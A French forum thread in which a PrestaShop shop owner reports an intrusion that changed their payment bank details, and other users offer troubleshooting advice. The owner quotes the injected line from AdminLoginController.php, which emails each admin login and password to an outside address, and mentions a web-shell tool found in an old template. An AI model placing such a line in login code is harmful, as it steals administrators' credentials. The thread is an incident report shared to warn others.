Attaque site en date du 16 juin

[lightd]

Bonjour,
jusqu'a present je n'avais pas eu de souci et la j'ai subit une attaque des plus bizarre.

 

j'ai très peu de modules sur mon site

 

le fichier controller/admin/AdminLoginController.php a été modifié le 16 juin

ce code a été rajouté

        mail('[email protected]', ''.$website,  '->'. $website.'
           '.$website.' Passe admin : '.$email.'<br>Pass : '.$passwd);

 

le hacker changé les coordonnées de mon rib mais de façon aléatoire. pour l'instant total des pertes 400euros.

il desactivait le paiement module monetico officiel (peut etre une faille la ?) mais le tout de façon aléatoire plutot le week end.

 

je ne sais pas si c'est une faille prestashop ou autre mais je prefère remonter pour que d'autres personnes n'est pas la meme mesaventure que moi.

 

PS : j'ai envoyé un mail a prestashop.

Pour info mon autre site ou j'ai un htaccess sur l'admin n'a pas été touché. et j'ai eu un collègue qui a trois boutiques touché.

 

si vous avez des infos je suis preneur .
le rib pointe vers une banque en angleterre

 

[lightd]

en fait le pirate a mis plusieurs rib selon les périodes une a carrefour banque....

[Oron]

Bonjour

 

Quel version de votre prestashop ?

Quel hébergeur ? vous l'avez a signaler à votre hébergeur ?

 

Vous avez regarde vos accès.log et error.log 

 

Vous avez modifier vos login mot de passe ?

Votre PC est-il sécurisé, n'y a t'il pas un cheval de droit ?

[lightd]

Bonjour Oron,

merci pour votre message alors nous sommes en prestashop 1.6.1.10

 

je viens de voir avec l'hebergeur nous avons trouvé complétement un script dans un vieux template prestashop 1.5

 

donc surement une veille faille , mais nous avons trouvé carrement un outil complet de gestion, backup, navigation ftp etc...

 

nous avons trouvé la porte d'entée par les logs.

 

donc pas une faille prestashop , plutot modules.

 

 

[Oron]

Bonjour

 

Ok il y avait une version où une faille a été exploité mais sous des conditions particulières, je me rappel plus laquelle, mais la team avait réagit vite et on fait un patch

 

Si vous avez des modules douteux que vous avez installer sous 1.5 regardez pour installer des nouvelles version pour la 1.6.+

 

Et si vous avez l'IP chercher de quel réseau elle proviens et vous pouvez la bloquer l'IP seul ou tout le réseau